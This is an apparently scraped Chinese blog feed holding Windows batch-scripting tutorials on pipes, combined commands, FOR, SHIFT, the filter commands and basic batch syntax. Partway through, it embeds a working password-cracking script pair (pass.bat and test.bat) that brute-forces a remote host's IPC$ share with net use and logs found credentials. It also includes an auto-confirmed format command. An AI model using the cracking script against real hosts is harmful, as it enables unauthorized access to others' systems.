这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。 <br />
<br />
给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二： <br />
例二十一： <br />
<br />
@echo off <br />
dir a.ttt /a &amp; dir a.txt || exit <br />
<br />
例二十二： <br />
<br />
@echo off <br />
dir a.ttt /a &amp;&amp; dir a.txt || exit <br />
<br />
警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！ <br />
<br />
有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌
是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误
被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！ <br />
<br />
这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：&#8220;简明批处理教程&#8221;，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时
就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for
/?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命
令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角
度出发专门有针对性的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！ <br />
将下列代码存为bat文件 <br />
1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名 <br />
2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名 <br />
密码破解出来之后，存放于c:\pass.txt文件里面。 <br />
将下列代码存为pass.bat文件 <br />
@echo off <br />
echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br />
echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br />
date /t &gt;&gt;c:\pass.txt <br />
time /t &gt;&gt;c:\pass.txt <br />
echo 破解结果： &gt;&gt;c:\pass.txt <br />
if "%6"=="1" goto 大棒槌是我的说2 <br />
:大棒槌是我的说1 <br />
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 <br />
goto quit <br />
:大棒槌是我的说2 <br />
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 <br />
:quit <br />
将下列代码存为test.bat <br />
net use \\%1\ipc$ %2 /user:"%3" <br />
goto answer%ERRORLEVEL% <br />
rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2 <br />
:answer0 <br />
echo 远程主机："%1" &gt;&gt;c:\pass.txt <br />
echo 用 户："%3" &gt;&gt;c:\pass.txt <br />
echo 密 码：%2 &gt;&gt;c:\pass.txt <br />
net use \\%1\ipc$ /delet <br />
exit <br />
:answer2 <br />
<br />
For <br />
对一组文件中的每个文件运行指定的命令。 <br />
<br />
可以在批处理程序中或直接从命令提示符使用 for 命令。 <br />
<br />
要在批处理程序中使用 for 命令，请使用以下语法： <br />
<br />
for %%variable in (set) docommand [command-parameters] <br />
<br />
要在命令提示符下使用 for，请使用以下语法： <br />
<br />
for %variable in (set) do command [command-parameters] <br />
<br />
参数 <br />
<br />
%%variable 或 %variable <br />
<br />
代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在
command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 %
variable 通过命令提示符执行 for 命令。变量名区分大小写。 <br />
<br />
(set) <br />
<br />
指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 <br />
<br />
command <br />
<br />
指定要在指定的 set 所包含的每个文件上执行的命令。 <br />
<br />
command-parameters <br />
<br />
指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。 <br />
<br />
如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。 <br />
For 命令的其他形式 <br />
如果启用了命令扩展，将支持如下 for 命令的其他格式： <br />
<br />
只限于目录 <br />
<br />
for /D [%% | %]variable in (set) docommand [command-parameters] <br />
<br />
如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。 <br />
<br />
递归 <br />
<br />
for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] <br />
<br />
进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。 <br />
<br />
迭代 <br />
<br />
for /L [%% | %]variable in (start，step，end) do command [command-parameters] <br />
<br />
集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。 <br />
<br />
文件解析 <br />
<br />
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] <br />
<br />
for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters] <br />
<br />
for /F ["options"] [%% | %]variable in ('command') do command [command-parameters] <br />
<br />
或者，如果出现 usebackq 选项： <br />
<br />
for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters] <br />
<br />
for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters] <br />
<br />
for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters] <br />
<br />
filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前，每个文件都会被打开、读取和处理。 <br />
<br />
过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值（或多个值）集合调用 for 循环体。默认情况下，/F 传递每个文件每一行的第一个空白分隔符号。 <br />
<br />
跳过空行。通过指定可选的&#8220;options&#8221;参数可以覆盖默认的解析行为。这是一个引用字符串，它包含一个或多个关键字以指定不同的解析选项。关键字是： <br />
<br />
关键字 说明 <br />
eol=c 指定行尾注释字符（只一个字符） <br />
skip=n 指定在文件的开头跳过的行数。 <br />
delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。 <br />
tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围，指定从 mth 到 nth
的令牌。如果在令牌 = 字符串中最后一个字符是星号，则将分配附加的变量，并在解析最后一个令牌后在行上接收剩余的文本。 <br />
usebackq 指定将右引号字符串作为命令执行，单引号字符串是文字字符串命令，您可以使用双引号包括 filenameset 中的文件名。 <br />
<br />
变量替换 <br />
<br />
此外，已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法（对于任何变量 I）： <br />
<br />
变量（使用修改程序） 说明 <br />
%~I 展开删除了周围的任何引号 (") 的 %I <br />
%~fI 将 %I 展开到完全合格的路径名 <br />
%~dI 只将 %I 展开到驱动器号 <br />
%~pI 只将 %I 展开到路径 <br />
%~nI 只将 %I 展开到文件名 <br />
%~xI 只将 %I 展开到文件扩展名 <br />
%~sI 展开路径以只包含短名称 <br />
%~aI 将 %I 展开到文件的文件属性 <br />
%~tI 将 %I 展开到文件的日期/时间 <br />
%~zI 将 %I 展开到文件大小 <br />
%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名，或搜索后没有找到文件，则此修改程序将扩展为空字符串。 <br />
<br />
修改程序可以合并以获得复杂的结果： <br />
<br />
变量（使用合并的修改程序） 说明 <br />
%~dpI 只将 %I 展开到驱动器号和路径 <br />
%~nxI 只将 %I 展开到文件名和扩展名 <br />
%~fsI 将 %I 展开到只包含短名称的完整路径名 <br />
%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I，并展开到第一个找到结果的驱动器号和路径 <br />
%~ftzaI 将 %I 扩展到与 dir 相似的输出行 <br />
<br />
注意 <br />
<br />
在上述范例中，%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。 <br />
使用大写变量名（例如 %I）可以使代码更具可读性，并且避免与不区分大小写的修改程序混淆 <br />
<br />
Shift <br />
更改批处理文件中可替换参数的位置。 <br />
<br />
shift <br />
<br />
启用命令扩展（Windows 2000 中的默认设置）后，shift 命令支持 /n 开关，该开关通知命令在第 n 个参数处开始更改，n 可以是从 0 到 8 的任何一个值。例如， <br />
<br />
SHIFT /2 <br />
<br />
将 %3 改为 %2，将 %4 改为 %3 等等，而 %0 和 %1 保持不变。 <br />
<br />
筛选器命令 <br />
筛选器命令可以帮助您排序、查看和选择部分命令输出结果。 <br />
<br />
通过筛选器命令传递信息 <br />
<br />
筛选器命令可以划分、重排以及提取通过的部分信息操作。Windows 2000 有三个筛选器命令： <br />
<br />
<br />
more 命令每次显示一屏文件内容或命令输出。 <br />
find 命令在文件和命令输出中搜索指定字符。 <br />
sort 命令按字母顺序排列文件和命令输出。 <br />
<br />
要将输入从文件发送到筛选器命令，请使用小于符号 (&lt;)。如果要筛选器命令从其他命令获得输入，请使用管道 (|)。 <br />
<br />
使用 more 命令来控制屏幕显示 <br />
<br />
more 命令每次一屏地显示文件的内容或命令输出。例如，下面的 more 命令每次显示一屏 List.txt 文件的内容： <br />
<br />
more &lt; list.txt <br />
<br />
信息显示一屏后，会出现字&#8220;More&#8221;。要继续显示下一屏，请按键盘上任意键。要停止命令且不查看详细信息，请按 CTRL+C 键。 <br />
<br />
如果使用产生多屏输出的命令，more 将十分有用。例如，假设定要查看硬盘的目录树。如果 Windows 2000 不能将目录在一屏内全部显示出来，请使用带管道号 (|) 和 more 命令的 tree 命令，如下例所示： <br />
<br />
tree c:\ | more <br />
<br />
tree 命令的第一屏输出被显示，后跟词&#8220;More&#8221;。Windows 2000 暂停，直到用户按键盘上的任意键为止（PAUSE 键除外）。 <br />
<br />
使用 find 命令搜索文本 <br />
<br />
find 命令在一个或多个文件中搜索指定文本。Windows 2000 显示每个包含该文本的行。find 命令可以用作筛选器命令或者标准的
Windows 2000 命令。有关将 find 用作标准的 Windows 2000 命令的信息，请单击&#8220;相关主题&#8221;列表中的 find。 <br />
<br />
要将 find 当作筛选器命令使用，请包含小于符号 (&lt;) 和搜索的文件名。当输入文件名时，请记住搜索要区分大小写。例如，下面的命令查找文件 Trade.txt 中所有的&#8220;Pacific Rim&#8221;字符串： <br />
<br />
find "Pacific Rim" &lt; trade.txt <br />
<br />
要保存 find 命令的输出而不是显示输出，请使用大于号 (&gt;) 和要存储输出的文件名。例如，下面的命令查找文件 Trade.txt 中所有的&#8220;Pacific Rim&#8221;字符串，并将结果保存在 Nwtrade.txt 文件中： <br />
<br />
find "Pacific Rim" &lt; trade.txt &gt; nwtrade.txt <br />
<br />
对文本文件排序 <br />
<br />
sort 命令按字母顺序排列文本文件或命令的输出。例如，可以使用以下命令对 List.txt 文件的内容进行排序，并在屏幕上显示结果： <br />
<br />
sort &lt; list.txt <br />
<br />
在此范例中，sort 命令对 List.txt 文件的行进行排序并显示结果，但不更改文件。要保存 sort
命令的输出而不是显示输出，请在命令中包含大于号 (&gt;) 和文件名。例如，可以使用以下命令对 List.txt
文件的行按字母顺序排序，并将结果存到 Alphlist.txt 文件中： <br />
<br />
sort &lt; list.txt &gt; alphlist.txt <br />
<br />
要排序命令的输出，请键入后面带有管道 (|) 和 sort 命令的命令。例如，下面的命令对 find 命令的输出结果进行排序： <br />
<br />
find "Jones" maillst.txt | sort <br />
<br />
在键入该命令时，Windows 2000 按字母顺序列出在其中出现&#8220;Jones&#8221;的行。 <br />
<br />
带重定向符的合并命令 <br />
<br />
可以将筛选器命令、其他命令和文件名合并以生成自定义命令。例如，可以使用以下命令存储包含&#8220;LOG&#8221;字符串的文件名: <br />
<br />
dir /b | find "LOG" &gt; loglist.txt <br />
<br />
Windows 2000 通过 find 过滤器命令发送 dir 命令的输出并将包含字符串&#8220;Log&#8221;的文件名存储在 Loglist.txt 文件中。将结果存储为文件名列表（如，A.log、Logdat.svd 和 Mylog.bat）。 <br />
<br />
要在相同命令中使用多个筛选器，请使用管道 (|) 分隔筛选器。例如，下面的命令搜索 C 盘上的每个目录以查找包含&#8220;Log&#8221;字符串的文件名，并且每次显示一屏： <br />
<br />
dir c:\ /s /b | find "LOG" | more <br />
<br />
因为使用管道 (|)，Windows 2000 通过 find 命令发送 dir 命令的输出结果。find 命令只选择包含字符串&#8220;Log&#8221;的文件名。more 命令每次一屏地显示 find 命令选择的文件名。 <br />
More <br />
每次显示一个输出屏幕。该命令通常用于查看长文件。可以单独使用此命令，或者使用它控制其他命令的输出，例如 type 命令。当显示填充可用的查看区域时将出现 more 提示，用户可以输入许多命令来控制查看文件其余部分的方式。 <br />
<br />
command name | more [/c] [/p] [/s] [/tn] [+n] <br />
<br />
more [[/c] [/p] [/s] [/tn] [+n]] &lt; [drive:][path] filename <br />
<br />
more [/c] [/p] [/s] [/tn] [+n] [files] <br />
<br />
参数 <br />
<br />
[drive:][path] filename <br />
<br />
指定要显示的文件。 <br />
<br />
command name <br />
<br />
指定将显示其输出的命令。 <br />
<br />
/c <br />
<br />
显示页面前清除屏幕。 <br />
<br />
/p <br />
<br />
扩展换页符。 <br />
<br />
/s <br />
<br />
将多个空白行更改为一个空白行。 <br />
<br />
/tn <br />
<br />
将制表位更改为 n 个空格 <br />
<br />
+n <br />
<br />
显示由 n 指定的行开始的第一个文件。 <br />
<br />
files <br />
<br />
指定要显示的文件列表。用空格分隔文件名。 <br />
<br />
More 子命令 <br />
<br />
以下命令在 more 提示 (-- More --) 下接受。 <br />
<br />
关键字 操作 <br />
space 显示下一页。 <br />
ENTER 显示下一行。 <br />
F 显示下一个文件。 <br />
q 退出。 <br />
? 显示可用命令。 <br />
= 显示行号。 <br />
P n 显示以下 n 行。 <br />
S n 跳过下面 n 行。 <br />
Find <br />
在一个文件或多个文件中搜索指定的文本字符串。 <br />
<br />
当搜索到指定的文件后，find 将显示出包含指定字符串的所有行。 <br />
<br />
find [/v] [/c] [/n] "string" [[drive:][path]filename[...]] <br />
<br />
参数 <br />
<br />
/v <br />
<br />
显示未包含指定字符串的所有行。 <br />
<br />
/c <br />
<br />
只显示包含指定字符串的行数。 <br />
<br />
/n <br />
<br />
将文件行号置于每行开头。 <br />
<br />
/I <br />
<br />
指定搜索不区分大小写。 <br />
<br />
"string" <br />
<br />
指定要搜索的字符组。必须将 string 的文本包括在引号中。 <br />
<br />
[drive:][path] filename <br />
<br />
指定要在其中搜索指定字符串的文件的位置和名称。 <br />
<br />
Sort <br />
读取输入、排序数据并将结果写到屏幕、文件和其他设备上。 <br />
<br />
sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec characters]
[[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3] <br />
<br />
[command |] sort [/r] [/+n] [/m kilobytes] [/l locale] [/rec
characters] [[drive1:][path1]filename1] [/t [drive2:][path2]] [/o
[drive3:][path3]filename3] <br />
<br />
参数 <br />
<br />
/r <br />
<br />
颠倒排序顺序，即从 Z 到 A 排序，然后从 9 到 0 排序。 <br />
<br />
/+n <br />
<br />
指定字符位置号 n，sort 在此处开始每次比较。例如，/+3 表示每次比较在每行的第三个字符开始。少于 n 个字符的行在其他行之前排序。默认情况下，比较在每行的第一个字符开始。 <br />
<br />
/m kilobytes <br />
<br />
指定用于排序的主内存数量，按千字节 (KB) 计。使用的内存最小值总是 160 KB。如果指定了内存大小，则无论有多少主内存可用，指定的确切数量（但至少 160 KB）的内存将用于排序。 <br />
<br />
如果输入输出均为文件，在没有指定大小时，默认最大内存大小为可用主内存的 90％，否则为主内存的 45％。默认设置通常会产生最佳的性能。 <br />
<br />
/l locale <br />
<br />
替代由系统默认区域设置定义的字符排序顺序；即在安装 Windows 2000 时选择的语言和&#8220;国家（地区）&#8221;。目前，默认区域设置唯一的备用选项就是&#8220;C&#8221;区域设置，该区域设置比自然语言排序快，根据二进制编码对字符排序。 <br />
<br />
/rec characters <br />
<br />
指定记录或输入文件的行中的最多字符数（默认值为 4096，最大值为 65535）。 <br />
<br />
[drive1:][path1]filename1 <br />
<br />
指定要排序的文件。如果没有指定文件名，则对标准输入排序。指定输入文件比将同一文件作为标准输入重定向速度快。 <br />
<br />
/t [drive2:][path2] <br />
<br />
指定保留 sort 命令工作存储的目录路径，防止数据不能装入主内存。默认为使用系统临时目录。 <br />
<br />
/o [drive3:][path3]filename3 <br />
<br />
指定要存储排序后的输入的文件。如果没有指定，数据将写入标准输出。指定输出文件比将同一文件作为标准输出重定向速度快。
<img src ="http://www.blogjava.net/yjjlovewjf/aggbug/177260.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yjjlovewjf/" target="_blank">wǒ愛伱--咾婆 </a> 2008-01-23 14:06 <a href="http://www.blogjava.net/yjjlovewjf/archive/2008/01/23/177260.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>dos学习</title><link>http://www.blogjava.net/yjjlovewjf/archive/2008/01/22/177151.html</link><dc:creator>wǒ愛伱--咾婆 </dc:creator><author>wǒ愛伱--咾婆 </author><pubDate>Tue, 22 Jan 2008 14:57:00 GMT</pubDate><guid>http://www.blogjava.net/yjjlovewjf/archive/2008/01/22/177151.html</guid><wfw:comment>http://www.blogjava.net/yjjlovewjf/comments/177151.html</wfw:comment><comments>http://www.blogjava.net/yjjlovewjf/archive/2008/01/22/177151.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yjjlovewjf/comments/commentRss/177151.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yjjlovewjf/services/trackbacks/177151.html</trackback:ping><description><![CDATA[<h2>第一节(批处理基础)</h2>
<br />
各位非常批处理的朋友们,现在我们开始学习<span href="http://bbs.verybat.cn/tag.php?name=%C5%FA%B4%A6%C0%ED" onclick="tagshow(event)" class="t_tag">批处理</span>新手系列教学的第一课!(适合没有编程经验的朋友)<br />
<br />
&nbsp; &nbsp;&nbsp;&nbsp;按照惯例,先讲一下什么是"批处理".顾名思义,批处理就是把一批或者说是一条条命令放在一个文本里,然后批量执行!执行这<br />
<br />
一批命令的文件的扩展名是<span href="http://bbs.verybat.cn/tag.php?name=BAT" onclick="tagshow(event)" class="t_tag">BAT</span>或者<span href="http://bbs.verybat.cn/tag.php?name=CMD" onclick="tagshow(event)" class="t_tag">CMD</span>,把任何一批命令放入在有这样扩展名的文件里,执行时里面的命令就会一条条的执行完,当然<br />
<br />
我们还可以在其中加入一些逻辑判断的语句,让里面的命令在满足一定条件时执行指定的命令.<br />
<br />
&nbsp; &nbsp;&nbsp;&nbsp;了解了大概意思后,我们正式开始学习.先看一个简单的例子!<br />
&nbsp; &nbsp;&nbsp;&nbsp;<br />
@echo off<br />
echo "欢迎来到非常BAT!"<br />
pause<br />
<br />
把上面的3条命令保存为test.bat或者test.cmd然后执行,他就会在屏幕上显示二行话:"欢迎来到非常BAT!请按任意键继续. . ."<br />
这就是一个简单批处理文件了,我们来分析一下.<br />
<br />
这个批处理文件一共就用了2条命令 "echo" 和"pause" 还有一个特殊符号"@"<br />
@符号在批处理中的作用是关闭当前行命令的回显,也就是不显示执行的是什么命令,只显示命令的结果!<br />
你可以执行下面这个批处理文件来理解,保存为*.bat或者*.CMD<br />
@echo 你好<br />
echo 你好<br />
@pause<br />
<br />
<br />
echo命令的作用有两个,一个是在CMD上回显一行内容.如:echo "欢迎来到非常BAT!",还一个是关闭命令的回显:echo off<br />
echo off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令.<br />
我们在echo off这命令前加一个@符号是为了不让echo off这条命令本身显示出来,让批处理更完美!<br />
<br />
<br />
pause命令就是暂停的意思,防止批处理执行完后直接退出!执行pause命令后会<span href="http://bbs.verybat.cn/tag.php?name=%D7%D4%B6%AF" onclick="tagshow(event)" class="t_tag">自动</span>在CMD里显示"请按任意键继续. . ."这样一行话!<br />
<br />
<br />
从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么<br />
<br />
在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!<br />
<br />
(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)<br />
<br />
<br />
批处理的常见命令<br />
REM<br />
ECHO<br />
GOTO<br />
CALL<br />
PAUSE<br />
IF<br />
<br />
还有（FOR，SETLOCAL，SHIFT）这几个命令比较难，不适合写在<span href="http://bbs.verybat.cn/tag.php?name=%BB%F9%B4%A1" onclick="tagshow(event)" class="t_tag">基础</span>篇,以后说明!<br />
<br />
批处理定义：顾名思义，批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。<br />
这些命令统称批处理命令。<br />
<br />
<span href="http://bbs.verybat.cn/tag.php?name=%BD%E9%C9%DC" onclick="tagshow(event)" class="t_tag">介绍</span>命令<br />
<br />
1、REM<br />
<br />
REM是个注释命令，一般用来给程序加上注解，该命令后的内容在<span href="http://bbs.verybat.cn/tag.php?name=%B3%CC%D0%F2" onclick="tagshow(event)" class="t_tag">程序</span>执行时，将不会被显示和执行。<br />
<br />
例：REM 这个命令就是注释<br />
<br />
这一句将不会被执行<br />
<br />
2、ECHO<br />
<br />
ECHO是一个回显命令，主要参数有OFF和ON。一般用ECHO MESSAGE来显示一个特定的消息。<br />
<br />
例：<br />
Echo off<br />
Rem 以上代表关闭回显（就是不显示所执行的命令）<br />
Echo 这个就是消息（message)<br />
Rem 以上代表显示&#8220;这就是消息（message)&#8221;这列<span href="http://bbs.verybat.cn/tag.php?name=%D7%D6%B7%FB" onclick="tagshow(event)" class="t_tag">字符</span><br />
<br />
咱们来看看执行结果：<br />
<br />
<br />
3、GOTO<br />
<br />
GOTO会点编程的朋友就会知道这是跳转的意思。<br />
在批处理中允许以&#8220;:XXX&#8221;来构建一个标号，然后用GOTO XXX直接来执行标号后的命令。<br />
<br />
例：<br />
<br />
:lable<br />
REM 上面就是名为LABEL的标号<br />
DIR C:"<br />
DIR D:"<br />
GOTO lable<br />
REM 以上程序跳转标号LABEL处继续执行<br />
<br />
咱们来看看结果：<br />
<br />
4、CALL<br />
<br />
CALL命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后，再继续执行原来的批处理<br />
<br />
例：<br />
<br />
创建一个2.BAT，内容如下<br />
ECHO 这就是2的内容<br />
<br />
创建一个1.BAT，内容如下<br />
ECHO 这是1的内容<br />
CALL 2.BAT<br />
ECHO 1和2的内容全部显示完成。<br />
<br />
执行1.BAT,来看看结果：<br />
<br />
5、PAUSE<br />
<br />
PAUSE，玩<span href="http://bbs.verybat.cn/tag.php?name=%D3%CE%CF%B7" onclick="tagshow(event)" class="t_tag">游戏</span>的人都知道，暂停的意思<br />
在这里就是停止<span href="http://bbs.verybat.cn/tag.php?name=%CF%B5%CD%B3" onclick="tagshow(event)" class="t_tag">系统</span>命令的执行并显示下面的内容。<br />
<br />
例：<br />
<br />
PAUSE<br />
<br />
6、IF<br />
<br />
IF 条件判断语句，语法格式如下：<br />
<br />
IF [NOT] ERRORLEVEL number command<br />
IF [NOT] string1==string2 command<br />
IF [NOT] EXIST filename command<br />
<br />
解释下：<br />
[NOT]：将返回结果取反值，就是&#8220;如果没有&#8221;的意思<br />
<br />
ERRORLEVEL：<br />
是命令执行完成后返回的退出值<br />
<br />
Number:<br />
退出值的数字取值范围0~255，判断时值的排列顺序应该由大到小。返回的值大于等于指定的值时，条件成立<br />
<br />
string1==string2：<br />
string1和string2都为字符的数据，英文内字符的大小写将看作不同，这个条件中的等于号必须是两个（绝对相等的意思）<br />
条件相等后即执行后面的command<br />
<br />
EXIST filename:<br />
为文件或目录存在的意思<br />
<br />
IF ERRORLEVEL这个句子必须放在某一个命令的后面，执行命令后由IF ERRORLEVEL 来判断命令的返回值。<br />
<br />
例：<br />
<br />
（1）<br />
IF [NOT] ERRORLEVEL number command<br />
检测命令执行完后的返回值做出判断<br />
<br />
echo off<br />
dir z:<br />
rem 如果退出<span href="http://bbs.verybat.cn/tag.php?name=%B4%FA%C2%EB" onclick="tagshow(event)" class="t_tag">代码</span>为1(不成功）就跳至标题1处执行<br />
IF ERRORLEVEL 1 goto 1<br />
REM 如果退出代码为0（成功）就跳至标题0处执行<br />
IF ERRORLEVEL 0 goto 0<br />
:0<br />
echo 命令执行成功！<br />
Rem 程序执行完毕跳至标题exit处退出<br />
goto exit<br />
:1<br />
echo 命令执行失败！<br />
Rem 程序执行完毕跳至标题exit处退出<br />
goto exit<br />
:exit<br />
Rem 这里是程序的出口<br />
<br />
(2)IF string1==string2 command<br />
检测当前变量的值做出判断<br />
<br />
ECHO OFF<br />
IF 1==2 goto no<br />
Echo 变量相等!<br />
goto exit<br />
:no<br />
echo 变量不相等<br />
goto exit<br />
:exit<br />
<br />
看看效果，敲击这个命令1.bat 数字<br />
<br />
(3)IF [NOT] EXIST filename command<br />
发现特定的文件做出判断 <br />
<br />
echo off<br />
IF not EXIST auto<span href="http://bbs.verybat.cn/tag.php?name=exe" onclick="tagshow(event)" class="t_tag">exe</span>c.bat goto 1<br />
echo 文件存在成功！<br />
goto exit<br />
:1<br />
echo 文件不存在失败！<br />
goto exit<br />
:exit<br />
<br />
这个批处理大家可以放在C盘和D盘分别执行，看看效果<br />
<br />
<br />
特殊符号:<br />
<br />
1.&nbsp;&nbsp;@<br />
2.&nbsp;&nbsp;&amp;gt;<br />
3.&nbsp;&nbsp;&amp;gt;&amp;gt;<br />
4.&nbsp;&nbsp;|<br />
5.&nbsp;&nbsp;^<br />
6.&nbsp;&nbsp;&amp;<br />
7.&nbsp;&nbsp;&amp;&amp;<br />
8.&nbsp;&nbsp;""<br />
9.&nbsp;&nbsp;,<br />
10. ;<br />
<br />
<br />
废话少说，开讲了<br />
<br />
一、 @<br />
<br />
这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道<br />
ECHO OFF可以关闭掉整个批处理命令的回显，但不能关掉ECHO OFF这个命令，现在我们在ECHO OFF这个命令前加个@，就可以达到所<br />
<br />
有命令均不回显的要求<br />
<br />
1.bat<br />
echo off<br />
dir d:"<br />
<br />
2.bat<br />
@echo off<br />
dir d:"<br />
<br />
二、 &amp;gt;<br />
<br />
这个字符的意思是传递并且覆盖，他所起的作用是将运行的回显结果传递到后面的范围（后边可以是文件，也可以是默认的系统控<br />
<br />
制台）<br />
<br />
比如：<br />
<br />
文件1.txt 的文件内容是：<br />
<br />
1+1<br />
<br />
使用命令：dir *.txt &amp;gt;1.txt<br />
<br />
这时候1.txt 内容如下<br />
<br />
驱动器 C 中的卷没有标签。<br />
卷的序列号是 3827-1BDD<br />
<br />
C:" 的目录<br />
<br />
2004-05-25&nbsp;&nbsp;00:57&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;17,755,907 Log.txt<br />
2004-05-26&nbsp;&nbsp;15:21&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;3 1.txt<br />
2004-05-26&nbsp;&nbsp;15:21&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;0 2.txt<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;3 个文件&nbsp; &nbsp;&nbsp;&nbsp;17,755,910 字节<br />
&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;0 个目录&nbsp; &nbsp; 339,111,936 可用字节<br />
<br />
<br />
三、&amp;gt;&amp;gt;<br />
<br />
这个符号的作用和&amp;gt;有点类似，但他们的区别是&amp;gt;&amp;gt;是传递并在文件的末尾追加，而&amp;gt;是覆盖<br />
<br />
用法同上<br />
<br />
同样拿1.txt做例子<br />
<br />
内容是1+1<br />
<br />
使用命令：dir *.txt &amp;gt;&amp;gt;1.txt<br />
<br />
咱们来看看显示的结果如何<br />
<br />
<br />
四、|<br />
<br />
这是一个管道传输命令，意思是将上一命令执行的结果传到下一个命令去处理<br />
<br />
例如：<br />
<br />
dir c:"|find "txt"<br />
<br />
以上命令是：查找C："所有，并发现TXT字符串。<br />
FIND的功能请用 FIND /? 自行查看<br />
<br />
在不使format的自动格式化参数时，我是这样来自动格式化A盘的<br />
<br />
echo y|format a: /s /q /v:system<br />
<br />
用过format的都知道，再格盘时要输入y来确认是否格盘，这个命令前加上echo y并用|字符来将echo y的结果传给format命令<br />
<br />
从而达到自动输入y的目的<br />
<br />
（这条命令有危害性，测试时请慎重）<br />
<br />
<br />
五、^<br />
<br />
^是对特殊符号"&amp;lt;","&amp;gt;","&amp;"的前导字符，在命令中他将以上3个符号的特殊功能去掉，仅仅只把他们当成符号而不使用他们的特殊意<br />
<br />
义。<br />
<br />
比如<br />
<br />
echo test ^&amp;gt;1.txt<br />
<br />
结果则是<br />
<br />
<br />
他没有追加在1.txt里，呵呵。只是显示了出来<br />
<br />
<br />
六、 &amp;<br />
<br />
这个符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败了，也不影响后边的命令执行。<br />
<br />
比如：<br />
<br />
dir z:" &amp; dir y:" &amp; dir c:"<br />
<br />
以上命令会连续显示z,y,c盘的内容，不理会该盘是否存在<br />
<br />
<br />
七、 &amp;&amp;<br />
<br />
